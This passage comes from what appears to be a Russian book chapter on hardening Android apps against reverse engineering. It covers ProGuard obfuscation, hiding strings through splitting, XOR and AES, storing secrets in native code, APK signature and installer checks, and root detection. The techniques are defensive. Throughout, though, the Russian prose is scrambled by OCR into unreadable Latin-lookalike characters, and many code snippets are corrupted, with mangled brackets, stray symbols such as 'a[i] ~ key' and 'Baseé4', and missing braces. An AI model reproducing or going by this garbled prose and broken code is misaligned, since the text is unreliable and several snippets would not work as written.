aHMIMiACKUA andaBUT: MepBBIA NMEPEeMMEHOBBIBAETCS B «a», BTOpoil B «by», mBaauarh
ceapMoi — B «aa» M T. A. [Ipobnema Takoro nmomxoga B TOM, YTO OH MNpEACKa3yeM;
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B3JIOMILIMKY MpPUAETCS pa3o0parhcs B BallleM KOJE TOJBKO OAMH pa3, U OH JIETKO HaHIeT
HY>XHBIH Y4acTOK KoJa B JpPYroil BEpPCHM NpPUIOXKEHHS: ero Ums, ckopee Bcero, Oyaer
TaKUM XKe.

3Ty npobiieMy MOXKHO MUGOPOTh, HCIOJB3Ys pa3Hbie cnoBapu. B MHTepHeTe naxe Mox-
HO HalTH CJIOBaph, COAEPIKALMi 3anpeleHHble Ui ucnoiab3oBaHui B Windows numeHa
¢aiinos
(https://github.com/facebook/proguard/blob/master/examples/dictionaries/windows.
txt), 4TO JOJDKHO MOMeELIaTh pacnakoBke HcMoiHsemoro ¢aitna B Windows, HO Ha aene
MOYTU HUYero He naetT. [IpuMeHss pasHble CIOBapH K KaXIOH HOBOH BEPCHUH MPHIIONKE-
HHA, MOXKHO CJeNlaTh MOPAAOK IeHepHMpOBaHMs MMEH HenpelackasyeMbiM W 3aIlyTaTb
B3JIOMILIUKA.

3arpy3uTh TaKOH CJIOBapb MOXXHO C IOMOLUBIO CJAEAYIOIUMX HHCTPYKUHWH B daiine
proguard-rules.pro BHYTPH MPOECKTA:

-obfuscationdictionary method-dictionary.txt
-packageobfuscationdictionary package-dictionary.txt
-classobfuscationdictionary class-dictionary.txt

Taxoke MOXKHO MOPEKOMEHOOBATh UCIOJIB30BATH CJICAYIOLIYIO OIIHIO:

-repackageclasses 'o'

OHa MEPEMECTHUT BCE KJIaCChl B MAKET «0», YTO B TEOPHUH NOJKHO €1UC CHIBHEC 3aITyTaTh
B3JIOMIIIHMKA.

CKkpbIThe CTpOK

B nosnoBuHe ciiyyaeB B3JTOMalIMK HAYMHAET peBepC NPUIOKEHHUS C MOMCKa CTpok. B Buae
CTPOK B MPHJIOXKEHUH MOTYT OBITH COXpaHEeHBI KIouH WH(pposanus, wiouu AP, ctpoku
uHTepdeiica, KOTopble MOTYT O0JIErYUTh AanbHeHIee u3yueHue koaa. IloatoMy ckpeiTHe
CTPOK — OJIHAa M3 MEepBOOYEPEIHBIX 3a4au Ui J0O0ro, KTo XO4eT 3allUTUTh CBOE MpH-
JIOXKEHHE.

CoxpaHsem cTpoku B strings.xml

3T0, HaBepHOE, MPOCTEHIIHIi METOA CKPBHITUA CTpok. CMBICI METOAA B TOM, YTOGBI BMe-
CTO pa3MeLIeHHs CTPOKH BHYTPH KOHCTaHTBI B KOZ€, YTO NpUBEAET K ee 0OHapy >KeHHIO
nocie npocTeiLIero noucka no GMHapHOMy (Qailiry, pa3MecTUTh ee B Qaiine res/values/
strings.xml:

xml

<resources>
<string name="password">MyPassword</string>

</resources>
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Awus Koaa 06palllaTbC$l 4Y€pe3 getResources():

| java

String password = getResources().getString(R.string.password);

Ja, MHOrHe MHCTpYMEHTHI I peBepca NMPWIOKEHHH MO3BOIAIOT MPOCMATpUBATh CO-
JEPKHMMOE strings.xml, TO3TOMY UMS CTPOKH (password) JTyqlle H3MEHHTb Ha 4YTO-TO Oe3-
oOHaHOe, a caM mapoib cAenaaTh NMOXOXHM Ha AMarHOCTHYecKoe COooOLIEeHHe (YTO-TO
BpOZeE: Error 8932777), 1a €llle U UCMONb30BaTh TOJIBKO YacTh 3TOH CTPOKH, pa3OHB ee Ha
YacTH C IOMOUIBIO METOAA split ():

java i |

String[] string = getResources().getString(R.string.password).split(" ");
String password = strings(1];

EcTecTBEHHO, NMEpeMEHHBIM TOXKE JIydllle AaTh 0e300MAHBIE MMEHa, Hy WIH MPOCTO
BiuioYMTh ProGuard, koTopeiii COKpaTHT HX MMEHA A0 OJHO-ABYXOYKBEHHBIX COYETaHHH
TMna: a, b, ¢, abu T. 1.

Pa3sbusaem cTpoku Ha 4actu

Bbl MOXXETE HCMOB30BaTh HE TONBKO YacTH CTPOK, HO U JPOOHMTH MX, YTOOBI 3aTeM Co-
Opatp BoeauHo. JlOMyCcTHM, Bbl XOTHTE CKPHITh B KOJI€ CTPOKY MyLittlePony. COBCEM He
00s3aTeIbHO XPaHHUTDb €€ B OJHOM-EJUHCTBEHHOH NepeMeHHOH, pa3OeiiTe ee Ha HECKOJIb-
KO CTPOK M pacCKHJaiTe HX MO pa3HbIM METOJAM HIH Jaxe KjlaccaM:

java

String a = "MyLi";
"ttle";
String c = "Pony";

String b

String password = a + b + ¢;

Ho 3aech ecTb 0MacHOCTh CTONKHYTHCS C ONTHMHM3aLMEeH KOMIWIATOPA, KOTOpbIi cobe-
peT CTPOKY BOEAMHO IJIS YITy4lleHHs MPOH3BOAUTENBHOCTH. [103TOMY AMPEKTHBBI static
M final K 3THM NEPEMEHHBIM JTy4llle HE NPHMEHATb.

Koaupyem nomoupwto XOR

Jns eure Gonpluero 3amyThIBaHUA HccienoBaTened cTpokd MokHO XOR-uth. 310 M3-
MoONeHHbIH METO HAYMHAIOILKMX (M He ToNbko) BUpyconucaTened. CyTh MeTona: 6epem
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CTPOKY, FEHEPHPYEM elle OJHY CTpoKY (KTo4), mpeobpazyeM B MacCHB OaiT U MpUMEHS-
eM onepauuto uckmoydatomero « UJINy». B pesynbrate nosyyaem 3akoqupoBaHHYIO C MO-
mouipio XOR cTpoky, KOTOpYIO MOXXHO paCKOAHPOBATh, BHOBb MPUMEHHB MCIKITIOYAIOLIEE
«WJIN». B koge 310 Bce MOXKET BBITJIAACTh MPHUMEPHO TaK (co3JalTe KJIACC StringXOR H
MOMECTHTE B HErO 3TH METOABI):

java

// KompyeM CTpOKy
public static String encode(String s, String key) {

return Base64.encodeToString(xor (s.getBytes(), key.getBytes()), 0);
}

// DexomupyeM CTPOKY
public static String decode (String s, String key) {

return new String(xor (Base64.decode(s, 0), key.getBytes()));
}

// Cama onepaumsa XOR
private static byte[] xor(byte[] a, byte[] key) ({
byte[] out = new byte[a.length];
for (int 1 = 0; i < a.length; i++) {
out[i] = (byte) (a[i] ~ key[i%key.length]);
}
return out;

}

[Tpumymaiite Bropyto cTpoky (IJIIOY) M 3aKOJUPYHTE C €€ NMOMOLIBIO CTPOKH, KOTOpbIE
Bbl XOTHTE CKpbITh (I8 NpUMepa MyCThb 3TO OyXyT CTPOKM passwordl M password2,
KJTIOY 1234):

l java

String encodedl = StringXOR.encode ("passwordl", "1234");
String encoded2 = StringXOR.encode ("password2", "1234");
Log.e ("DEBUG", "encodedl: " + encodedl);
Log.e ("DEBUG", "encoded2: " + encoded?2);

[Mocne orkpeitia Android Monitor B Android Studio Bl yBHOMTE CTPOKM BHIA:

encodedl: RVRCRQ==
encoded2: ACHBDS==

310 U ecTh 3akoaupoBaHHble ¢ nomolplo XOR opuruHaneHele cTpoku. Jlo6aBbTe MX
B KO/ BMECTO OPHMTHHAJIBHBIX, a TIPH JOCTYNE K CTPOKaM MCMOJIb3yHTe QYHKUHIO AEKO-
JOMPOBAHHA:
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| java

String passwordl = StringXOR.decode (encodedPasswordl, "1234");

bnaropaps aToMy MeTomy cTpOKH He OyIyT OTKpBITO jieXaTh B KOAE MPUIIOKEHHS, OHA-
KO pacKOJHMpOBaTh MX TOXKE HE COCTAaBUT TPyAa, TaK YTO BCELEJO MONaraThCs Ha 3TOT
METO[ HE CTOMT. Jla M KIII0Y TOXKE MPUAETCS KaK-TO MPATATh.

Wugppyem cTpokm

Haubonee HapexHsIl cnoco6 CKpbITh CTPOKH — 3awndpoBate ux. Caenatb 3T0 MOX-
HO pa3HbIMH crHoco0amMH, HamnpuMep MCMosiab3ys HHCTpyMeHThl Stringer (https:/
jfxstore.com/stringer/) wiu DexGuard (https://www.guardsquare.com/dexguard).
ITpenmyIiecTBO: MOJHOCTBIO aBTOMaTH3UPOBaHHAasA MOAM(HKALIUA YIKE UMEIOLIETOCH KO-
Ja ¢ Uenblo BHEAPeHHs KHdpoBaHHs cTpok. HemocTaTok: LeHa, KOTopas AOCTYNHa KOM-
MaHMAM, HO CTMLIKOM BBICOKA /11 HE3aBUCUMOTO pa3paboT4uKa.

[TosToMy MBI nonpo6yeM obolTHCh CBOMMM cuilaMH. B npocTeitiuem crnyyae mmdposa-
HHE CTPOK CpeACTBaMH Java BBINOIHAETCA TaK:

java l

public static byte[] encryptString(String message, SecretKey secret) throws Exception
{

Cipher cipher = null;

cipher = Cipher.getInstance ("AES/GCM/NOPADDING") ;
cipher.init (Cipher.ENCRYPT MODE, secret);

return cipher.doFinal (message.getBytes ("UTF-8"));

A pacmudpoBka Tak:

ﬂ java

public static String decryptString(byte(] cipherText, SecretKey secret) throws
Exception {

Cipher cipher = null;

cipher = Cipher.getInstance ("AES/GCM/NOPADDING") ;
cipher.init (Cipher.DECRYPT MODE, secret);

return new String(cipher.doFinal (cipherText), "UTF-8");

Jlig reHepauyy K1io4a J0CTaTOYHO OJHOM CTPOKH:

| java

public static SecretKey generateKey() throws Exception {
KeyGenerator keyGen = KeyGenerator.getInstance ("AES");
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keyGen.init (128);
return keyGen.generateKey();

[Lmoc ¢pyHKUMH ANA NepeBola KiIo4a B CTPOKY U 06paTHO:

l java

public static String keyToString(SecretKey secretKey) {
return Base64.encodeToString (secretKey.getEncoded (), Base64.DEFAULT);

public static SecretKey stringToKey (String stringKey) {
byte[] encodedKey = Base64.decode (stringKey.trim(), Base64.DEFAULT);
return new SecretKeySpec (encodedKey, 0, encodedKey.length, "AES");

Tak xe, kak u B cirydae ¢ XOR'oM, no6aBbTe Kyga-HHOyAb B Ha4aao MPHIIOKEHUS KOJ,
TeHEpUPYIOLIMIH KJIIOY, a 3aTe€M BBIBOAALUMH €ro B KOHCOJIb ¢ MOMOIUBIO Log (B IIpuMepe
noJpa3yMeBaeTcs, YTo Bce Kpunrorpaduueckue ¢GyHKLUMHM MbI pasMECTHIM B Kiacce
Cryptoy

I java

try {

SecretKey key = Crypto.generateKey();

Log.e ("DEBUG", "key: " + Crypto.keyToString(key));
catch (Exception e) {}

Ha 3KpaH€ Bbl YBUIHMTE KJIIOY, C MOMOLIBKO KOTOPOro CMOXKETE 3amu¢p03a'n> CTPOKH
H TOYHO TaK K€ BBIBECTH UX B KOHCOJIb:

java

// Baw ko

String key = "...";

SecretKey secretkey = stringToKey (key);

// lImdpyemas crpoka

String password = "test";

// lndpyeM M BEIBOOIMM Ha IKpaH )

byte[] encrypted = encryptString(password, secretkey);

Log.e ("DEBUG", "password: " + Base64.encodeToString(encrypted, Base64.DEFAULT));

Tak BBl nomyuyure B KOHCONB 3alIMPOBaHHYIO CTPOKy. Jlajee yxe B TakoM BHAE BbI
CMOXETe BCTaBUTh €€ B KOJI MPUJIOKEHHS U paciin(poBBIBaTh HA MECTE:
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java

String key = "...";
String encryptedPassword = "...";
SecretKey secretkey = stringToKey (key);

String password = decryptString(Baseé4.decode (encodedPassword, Base64.DEFAULT),
secretkey) ;

Yrobbl ewe 6onblie 3amyTaTh peBepcepa, Bbl MOXKeTe pa3OMTh KJIIOY W Napojb Ha He-
ckonbko vacrteit U «noXORwute» ux. Ilpu BntoyenHoM ProGuard takoii MeTon npespa-
THUT BeCh TBOH ko cOOPKH U paciiM(pOBKH CTPOK B 3aITyTaHHYIO MELIAHHHY, B KOTOPOH
¢ Hackoky Oyaet He pa3oOpaTscs.

Mo>xHO MOWTH elle Jaiblle U BOCNONb30BAThCA OAHUM M3 HHCTPYMEHTOB KOMILIEKCHOH
3awuthl Android-npunoxenuii, Hanpumep AppSolid (https://www.appsolid.co/). Ctout
OHO, OMATH K€, JOPOro, HO MO3BOMAET 3aIUPOBaTh BCE MPHUIOKEHHE LIENIUKOM. JTO
JIeHCTBUTENBHO CIIOCOOHO OTITYTHYTh MHOTHX PEBEPCEPOB, OJHAKO €CTh PAA MHCTPYMEH-
TOB, B TOM 4Mciie minaTHbii Java-nekomnunsrop JEB (https://www.pnfsoftware.com),
KOTOpBIH yMeeT CHUMATh TaKyIO 3alMTy B aBTOMaTHYECKOM pexKHMe.

CoseTbI NO UCNONb3OBAHUIO wu@eposaHuUa

EcTb Hecko/1bKkO COBETOB, KOTOPbIX JTyullle PUAEP>KUBATHCA NIPH IIH(PPOBaHHH.

He ucnoab3yiite AES B pexxume ECB. [lo ymonuanuio Android (4 Java) ucnonssyer
pexum ECB npu mudposanuu no anroputmy AES. IIpobnema pexxuma ECB coctout
B TOM, YTO OH MOXXET pacKpbITh noapobHocTH (https://blog.filippo.io/the-ecb-penguin/)

3amMdpoBaHHOl HMHbopMauun. Bmecto Hero ciexyer ucnonb3oBath pexxumsl CBC
u GCM:

l java |

// Kak Hamo nenatb
Cipher.getInstance ("AES/GCM/NOPADDING") ;

// Kak He Hano IenaTh
Cipher.getInstance ("AES");

Bceraa ucnoan3yiite caysainbii IV:

java

// Kak Hamo nenats

SecureRandom secureRandom = new SecureRandom();

byte[] iv = new byte[IV_LENGTH];

secureRandom.nextBytes (iv) ;

myCipher.init (Cipher .ENCRYPT MODE, key, new IvParameterSpec(iv));
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// Kak He Hagmo IeyaTb
myCipher.init (Cipher .ENCRYPT MODE, key);
byte(] iv = myCipher.getIV();

3anoaHnlTe Ba)KHbIE MACCHBBI HYJSIMH NOC/I€ HCNIOJIL30BAHHA. Bsl MoXxeTe 3a0bITh
OYHUCTHTb MACCHB, conepmaumﬁ KJIIO4Y, H B3JIOMILUHK BOCIIOJIB3YETCA 3TUM, 4TOOBI M3-
BJIEYDL KJIFOY HAIpsAMYIO U3 OﬂepaTlleHOﬁ NaMATH:

java

byte[] decrypt (byte[] dataToDecrypt, byte[] secretKey) ({
// PacumppoBbiBaEM OaHHLE

// OummaeMm kJuou
Arrays.fill (secretKey, (byte) 0);
return decryptedData;

XPOHMM AAHHbIE B HATUBHOM KOoAe

HaxoHew, caMblil XapAKOPHBIN U A€HCTBEHHBIH METO CKPBITHS AaHHBIX — UX pa3Melle-
HHE B HaTMBHOM Koje. A ecnd ObITh TOYHBIM, B KOZE, KOTOPBI KOMMUIHpPYETCS He
B Jierko aekomnunupyemsiid 6aiitkon DEX, a B unctpykuuu ARM/ARMG64. Pa3o6patsb
TaKoH KOJ HAMHOIO CJIOXKHEe, JEKOMIWIATOPOB AJI HEro HET, caM Au3acceMOIMpoBaH-
HbIH KOA TPYAEH I/ YTeHUs U MOHMMaHUA U TpebyeT AeHCTBUTENbHO HEIUTOXHX HaBbl-
KOB OT peBepcepa.

B Android, kak 4 B cily4ae ¢ HACTOJIbHOM Java, HATUBHBIM KOA OOBIYHO MUILIYT Ha A3bIKaX
C wnu C++. Tak yro ans Haweid 3amayn Mbl BeiOepeM sa3bik C. [Ing Havyana HamduieM
K1acc-00epTKy, KOTOpbIi OylneT BbI3bIBaThb Halll HATUBHBIA KoJ (a UMeHHO ARM-6u0-
JIMOTEKY ¢ peanu3auued QyHKLUHU getPassword () ):

java

public class Secrets {
static {
System.loadLibrary("secret");
}
public native String getPassword();

Tena camoil pyHkUMH B KoAe HeT, oHo Oyner pacronaraTbcs B HanuvcaHHod Ha C 6u6-
nvoTeke (MoJ Ha3BaHUEM secret). Temepb cozfaiite BHYTPH KaTaJIOKHOW CTPYKTYpHI
NpOEKTa MOoAKATalor jni, co3naiiTe B HeM (a1 C UMEHEM secret.c U TIOMECTHUTE B HETO
ClleAyIOLHE CTPOKH:
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(o

#include <string.h>
#include <jni.h>

jstring Java_com example secret Secrets getPassword(JNIEnv* env, jobject javaThis) {
return (*env)->NewStringUTF (env, "password");

OT0, TaKk cka3aTb, pedepeHCHbIH BapHaHT OMONMOTEKH, KOTOpas NMPOCTO BO3BpaLlaeT
00paTHO CTPOKY password. Uro6s1 Android Studio nmonsn, kak 3Ty 6M61HOTEKY CKOMMH-
JIMPOBAaTh, HAM HY)KEH Makefile B TOM )K€ KaTajore:

Makefile

LOCAL_PATH := $(call my-dir)
include $(CLEAR VARS)

LOCAL MODULE:= secret
LOCAL_SRC FILES := secret.c

include $(BUILD SHARED LIBRARY)

DTO UHCTPYKUHWA MO KOMMHISALMH ¢aina secret.c B OMHapHbIH (OUONHOTEUHBIH) daiin
secret.so. B Lle1oM 3T0 Bee. 3a OHUM HCKIIOYEHHEM: XOTh CaMy HaTHBHYIO OMOIHOTEKY
pazobpare OyaeT CNOXKHO, A1 U3BJIEUYEHHS U3 Hee Mapois JOCTaTOYHO J0CTaTh 6MOIHO-
TeKy u3 apk-¢aiina 1 npUMEHHUTD K Hel KOMaHAy strings (B Linux-cuctemax):

$ strings secret.so

password

A BOT €c/lM NPUMEHUTh K HEH BCe OMMCaHHbIE BbILIE TEXHUKU pazOueHus ctpoky, XOR,
IWKpOBaHHE H T. A., BCE CTAHET HAMHOIO CJIOXHEe, U Mbl Cpa3y OoTOObeM KeJlaHHE KO-
BBIPATH CBOE NpuiokeHHe y 99% pesepcepoB. OAHAaKO M MUCATh BCE 3TU TEXHUKH 3aLUH-
ThI puaeTcs Ha a3bikax C/C++.

«Kpawum» usmeHeHHoe npunoxeHue

Euie o1MH MeTon 3allMThl MPUJIOKEHUS — clelaTh TaK, YTOObI ero HEBO3MOXHO ObLI0
3alyCTUTb NMpPU U3MeHeHHH. PeBepcep MOXKET U3MEHHUTh NMPUIOXKEHHE, YTOObI BKIIOYHUTD
¢nar oTnaaku, BHeAPUTH B Hero rajpket Frida u npocto caenaTth minaTtHoe npuiioXeHHe
6ecrinatHeiM. Ho kak noHATs, 66110 M npunoxxeHue B3noMano? TouHee, kak OHO caMo
MOJXET 3TO BbIACHUTH? Beap MOHATHS «B3JOMaHHOE» M «HEB3JIOMaHHOE» CYyLIECTBYET
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TONBLKO B HALIKMX COOCTBEHHBIX rojiosax, T. €. 3TO NOHATHE AOCTATOYHO BbICOKOI'O nopsaa-
Ka, KOTOpPO€ HE OMHCATh AJITOPUTMHUYECKH.

Tak oHo, na He Tak. [leno B ToM, uto BHYTpH nakera APK ectb HaGop MeTanaHHBIX,
KOTOpbIE XPaHAT KOHTPOJIbHbIE CyMMbl abCONMIOTHO Beex (paiyioB nakera, a caMd MeTa-
JaHHblE MOANMMCAHBI KJIIOYOM pa3paboTuuka. EcnM M3MEHHTh NpUIIOKEHHE U BHOBb €T0O
3anakoBaTh, METaJaHHbIE MAaKeTa MU3MEHATCA, U MaKeT MPHIETCS NOANHUCHIBATb 3aHOBO.
A 1. k. KJTIO4a pa3paboTuMka y peBepcepa HeT (M ObITh HE MOXET), OH MCIOJb3yeT JH60
ClIy4yallHO CreHepUpOBaHHBIM, TMOO Tak Ha3biBaeMbli TecToBbIl KIto4. Cam Android Ta-
KO€ NMPHUJIOKEHHUE CIMOKOHHO MPOrfnoTuT (OH He AEpXXUT a3y BceX UM(POBBIX NMOAMUCEH
BCEX BO3MOXHBIX Android-pa3paboTYMKOB), HO y Hac-TO ecTh CBOSI LM(poBas MOANKCH,
¥ MBI MOXKEM €€ CBEpPHTB!

Csepsem UUPPOBYIO MNOANUCH

Meroa noBoSBHO MpocToi. BaM HeoOXOAMMO BCTaBUTH B MPHIOXKEHHE KO, KOTOPbIH
Oyner moaydaTh Xeuwl KJtoya Tekylled UuMdpoBOd moanMCH nakera, U CpaBHHUBAThb €ro
¢ paHee coxpaHeHHbIM. COBMaaaloT — MpUIOKeHHe He ObUTO MepenakoBaHo (M B3JIOMa-
HO), HeT — ObeM TpeBOTY.

Jlns Havyana BCTaBbTE CIEQYIOLUMIA KycOK KOAa B MpuiloXeHHe (YeM riybxe Bbl €ro 3a-
npsyeTe, TEM Jy4LIe):

| java

public static String getSignature (Context context) {
String apkSignature = null;
try {
PackageInfo packagelnfo =

context.getPackageManager () .getPackageInfo (context.getPackageName (),
PackageManager.GET _SIGNATURES) ;

for (Signature signature : packageInfo.signatures) {
MessageDigest md = MessageDigest.getInstance ("SHA");
md.update (signature.toByteArray());
apkSignature = Base64.encodeToString(md.digest(), Base64.DEFAULT) ;
Log.e ("DEBUG", "SIGNATURE: " + apkSignature);
}

} catch (Exception e) {}

return apkSignature;

Cobepure, 3amycTuTe NPUIOKEHHE W MOCMOTPHUTE JIOr McnonHeHusa. Tam Bbl yBUAMTE
CTPOKY SIGNATURE: 478uEnKQV+fMQT8Dy4AKvHkYibo=. ITO U ecTh Xxew. Ero Heobxoaumo He
MpOCTO 3alIOMHHTB, @ MOMECTHUTL B KOO NPUJIOXKEHHUS B BUAE€ KOHCTAHTbI, HAlIpUMEDP, N0
UMeHeM SIGNATURE. Tenepb ybepuTe CTPOKY Log.e ("DEBUG", "SIGNATURE: " + apkSignature);
N3 KOJa U }106aBbTe CIle}ly}O[Ill/lﬁ METOA:
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java

public static boolean checkSignature (Context context) {
return SIGNATURE.equals(getSignature (context));

OH kak pa3 u OyneT CBEpATh COXPAHEHHBIH Xelll C XeUIeM KJII04a, KOTOPbIM B JaHHBIHA
MOMEHT NOAMMCaHO npuioxkeHne. DyHKUMS BO3BPALLAET true, €CIU LUKM(POBas MOAMUCH
BaJIMJHa (NPHIOXKEHHE He ObLIO nepecoOpaHo), U false — €CIIH OHO MOABEPrIOCh MOAHM-
¢ukauuy. Yro aenate BO BTOPOM cilyyae — peluaTb BaM. Bbl MoxkeTe npocTo 3aBeplunTh
TIPUJIOXKEHHE C MOMOLLBIO os.exit (0) JIMOO «YPOHHUTBY €ro, HalpUMep, BbI3BAB METO He-
MHULUATU3UPOBAHHOIO 00BEKTa WIM OOpaTHBIIMCH K HECYLUECTBYIOLUEMY 3HAUYEHHIO
MaccuBa.

Ho 3anomHuTe: B3IOMUIMK MOXET MPOCTO BbIpE3aTh Balll KOJ CBEPKH LIMGPOBOH NOAMU-
CH, M OH HHMKOT/a He cpaboTaeT (3TO CrpaBeUIMBO M B OTHOLUEHHUH KO, NPUBEAEHHOrO
nanee). [loaroMy crnpsubTe €ro B HEOHYEBMIHOM MeECTe, a Xell OPMIMHAIBLHOTO KJIHoua
3amMdpyiTe, kak ObLTO MOKa3aHo Bbilwe (pUc. 16.2).

Puc. 16.2. Uckombiin xew kniova

Ewe oauH cnocob cnpsaratk kol cBepkd UM(POBOH MOAMMCH — BbIHECTH €ro B HaTHB-
Hyto 6ubaunoreky. DTOT moaxoa mnoapoOHO paccMaTpuBaeTcsi B cTatbe Yet another
temper detection in Android (https://darvincitech.wordpress.com/2020/03/01/yet-
another-tamper-detection-in-android/). Bmectro APl Android-npeanoxxeHHas 6u6auo-
TEKa MCMOJIb3YeT KYCTapHble CPeICTBa CBEPKH LMGPOBOI MOANUCKH (B HAaCTHOCTH, KOJ
n3 6ubnuorek libzip u mbedtls). Takxke B 6MOIHOTEKE NPUMEHEH PAA CPEICTB 3ALLMTHI OT
peBepca, TakMX Kak COOCTBEHHble peanu3auru GyHKUMH libc M MO3aWMCTBOBAHHbBIA M3
OpenSSL cnioco6 onpenenenus ¢pakra U3MeHeHUs koaa OUOIHOTEKH.
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INocnenHuii paboTaer Tak: Npu cOOpKe B CEKLHUH text (COAEPKHMT KOJ) M rodata (coaep-
KMUT KOHCTaHTbI, BKJIIOYas Xell cepTUdHKaTa) BCTABIAIOTCA CrielHaibHble MapKepsbl, KO-
TOpBIE MOMEYAIOT HA4YaI0 U KOHel cekuud. [lanee ans NaHHBIX MeXIy STUMH MapKepamH
Bolurcassercs HMAC u 3anuchiBaeTcsi B CEKUMIO JaHHbIX. Bo BpeMs BbI30Ba (yHKUMH
cBepkd undpoBeix noanuceld 6ubiMoTeka NpoBepseT COOCTBEHHYIO LEIOCTHOCTb € MO-
mouusto HMAC. UcxonHslit koa 6ubnnoteku MoxxHo Haiiti Ha GitHub aBTopa no agpecy
https://github.com/darvincisec/DetectTamper.

Tlposepsem UCTOYHUK YCTAHOBKU

Ewe oquH mMeToa 3aliuThl — BBIACHHTb, OTKYyJa Ob1LI10 YCTAHOBJIEHO MPHITIOKEHHUE. 310
MOXXHO ci€1aTh B OJHY CTPOKY, a Cama (I)yHKl.IHﬂ MOJXKET BbIMNAACTh TaAK!:

I java

public static boolean checkInstaller (Context context) ({

final String installer =
context.getPackageManager () .getInstallerPackageName (context.getPackageName () ) ;

return installer '= null && installer.startsWith("com.android.vending");

3awuTta OT pesepca U OTNAAKM

[ToMMMO 3alUMTBI OT MEPENaKkoBKH, MPUIOKEHHE MOXHO OCHACTUTb (YHKLUHUAMH OOHa-
py>xeHusi nedarrepoB, oTiiagunkoB, Frida, npae root Ha ycTtpolcTBe. JJpyrumu ciioBamH,
cAenartb Tak, 4ToObl NPUIIOKEHHE NMPOCTO YMENO pearpoBaTh HA NMPUCYTCTBHE CPElNCTB
peBepca B CHUCTEME M JTMO0 CKPBIBAJIO CBOIO MCTUHHYIO GYHKLUMOHAJIBHOCTbD, THO0 MPOCTO
OTKa3bIBAIOCH paboTaTh.

Root

IlpaBa root — oaMH M3 raBHBIX MHCTPYMEHTOB peBepcepa. Root mo3Bonser 3amyckaTh
Frida 6e3 narurHra npuioxxeHui, UCNoabp30BaTh MOTYNH Xposed A U3MEHEHHs TOBe-
JEHHS NPUIOKEHUS M TPEHCHHIra NPWIOKEHHH, MEHATbh HHU3KOYPOBHEBBIE MapaMeTphbl
cucTeMbl. B 1iesioM HalMune root 4eTKO FOBOPHUT O TOM, YTO OKPYXXEHHIO HCIOTHEHHS
JIOBEPATH HEJb35l, HO Kak ero 0OHapy>XHUTh?

CaMblif MpocTOH BapHaHT — MOUCKATh UCTIONHAEMBIN (aii su B OMHOM M3 CUCTEMHBIX
KaTaJoroB:

/sbin/su

/system/bin/su
/system/bin/failsafe/su
/system/xbin/su

/system/sd/xbin/su

aoooaaa

/data/local/su
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O /data/local/xbin/su
O /data/local/bin/su
BuHapHHMK su Bcerna MpUCYTCTBYET Ha PyTOBAHHOM YCTPOMCTBE, Bellb MMEHHO C €ro

NMOMOILBIO MPUI0XKEHHS MOJIyyatoT npasa root. HalTi ero Mo)xHO ¢ MOMOILBIO NPHUMHU-
THBHOTO KoJia Ha Java:

java

private static boolean findSu() {

String[] paths = { "/sbin/su", "/system/bin/su", "/system/xbin/su",
"/data/local/xbin/su", "/data/local/bin/su", "/system/sd/xbin/su",
"/system/bin/failsafe/su", "/data/local/su" };
for (String path : paths) {
if (new Flle(path).existsk)) return true;

}

return false;

To ke caMoe MOXHO cienaTh ¢ NOMOLUbIO GYHKUKH Ha sA3bike C, MO3aUMCTBOBaHHOH U3
npunoxxenus rootinspector (https://github.com/devadvance/rootinspector/):

C

jboolean Java_com example statfile(JNIEnv * env, jobject this, jstring filepath) {
jboolean fileExists = 0;
jboolean isCopy;
const char * path = (*env)->GetStringUTFChars(env, filepath, &isCopy);
struct stat fileattrib;

1f (stat(path, &fileattrib) < 0) {
__android_log print (ANDROID LOG DEBUG, DEBUG TAG, "NATIVE: stat error: [%s]",
strerror (errno));
} else
{

__android log print (ANDROID LOG DEBUG, DEBUG TAG, "NATIVE: stat success,
access perms: [%d]", fileattrib.st mode);
return 1;

return 0;

Ewe oanH BapuanT — nonpo6oBath He MPOCTO HAHTH, a 3aMyCTHTh OMHAPHUK su:

java

try {
Runtime.getRuntime () .exec("su");
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} catch (IOException e) {
// TenedoH He pyTOBaH

Ecnu ero Her, cucrema Beigact IOException. Ho 3aeck Hy>KHO GBITE OCTOPOXHBIM: €CJIH
YCTPOHCTBO BCE-TaKM MMEET MpaBa root, Nonb30BaTeNb YBUAMT HAa 3KpaHe 3alpoc 3THX
CaMbIX MpaB.

Elie oaMH BapHaHT — HAWTH Cpead YCTAHOBJIEHHBIX Ha YCTPONCTBO NpHIOXKEHUH
MeHemkep npas root. OH KaK pa3 M OTBe4YaeT 3a M0Ka3 AHAJIOra NMpeOCTaBIICHH NPaB:

com. thirdparty.superuser
eu.chainfire.supersu
com.noshufou.android. su
com. koushikdutta.superuser

com. zachspong. temprootremovejb

oooaoaao

com.ramdroid.appquarantine
com. topjohnwu.magisk

Ilﬂﬂ TOMCKA MOXKHO UCMOJIb30BaTh TAKOM METON:

‘ java

private static boolean isPackageInstalled(String packagename, Context context) {
PackageManager pm = context.getPackageManager();
try {
pm.getPackageInfo (packagename, PackageManager.GET ACTIVITIES);
return true; .
} catch (NameNotFoundException e) {
return false;

ITorck MOXKHO BECTH M MO KOCBeHHbIM Npu3HakaM. Hanpumep, SuperSU, GpiBLumii Heko-
rAa MOMyJIAPHBIM peIUeHHEM Ui MOJyYeHHs MpaB. root, HMeeT HECKOIbKO (¢aiiioB
B ¢aiinoBoH cucteMe:

O /system/etc/init.d/99SuperSUDaemon
O /system/xbin/daemonsu - SuperSU

Elwe oauH KoCBEHHBIH NpHU3HAaK — MPOLUWBKA, MOANKUCAHHAA TECTOBBIM KJIIOUOM. DTO He
BCEra CBUAETENLCTBYET O HAJIMYMU root, HO TOYHO TOBOPHUT O TOM, YTO Ha yCTpPOHCTBE
YCTaHOBJIEH KacTOM:

java

private boolean isTestKeyBuild() {
String buildTags = android.os.Build.TAGS;
return buildTags '= null && buildTags.contains ("test-keys");
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Magisk

Bce 3TH MeToap! AeTekTa root OTVIMYHO paboTalOT A0 TeX IMOp, MOKa Bbl HE CTOJKHETECH
C YCTpOMCTBOM, PYTOBaHHBIM ¢ moMouiblo Magisk. OTo Tak Ha3biBaeMbIH systemless me-
TOA PYTHHra, KOrja BMECTO pa3MELIEHHs KOMIIOHEHTOB i root-goctyna B (aiinoBor
cUCTeMe MPOMCXOAUT MOAKIIOUEHHE MOBEpX Hee Npyroi ¢ainoBoit cucteMsl (oBepies),
coepxallei 3Td KOMITOHEHTEL.

Takoi#t MexaHH3M paboThl HE TOJILKO TMO3BOJISET OCTaBHTb CUCTEMHBIN pa3jen B LIENOCT-
HOCTH M COXPaHHOCTH, HO M JIETKO CKPbIBAa€T HaJIMYME NMpaB root B cucreMe. BeTpoeHHas
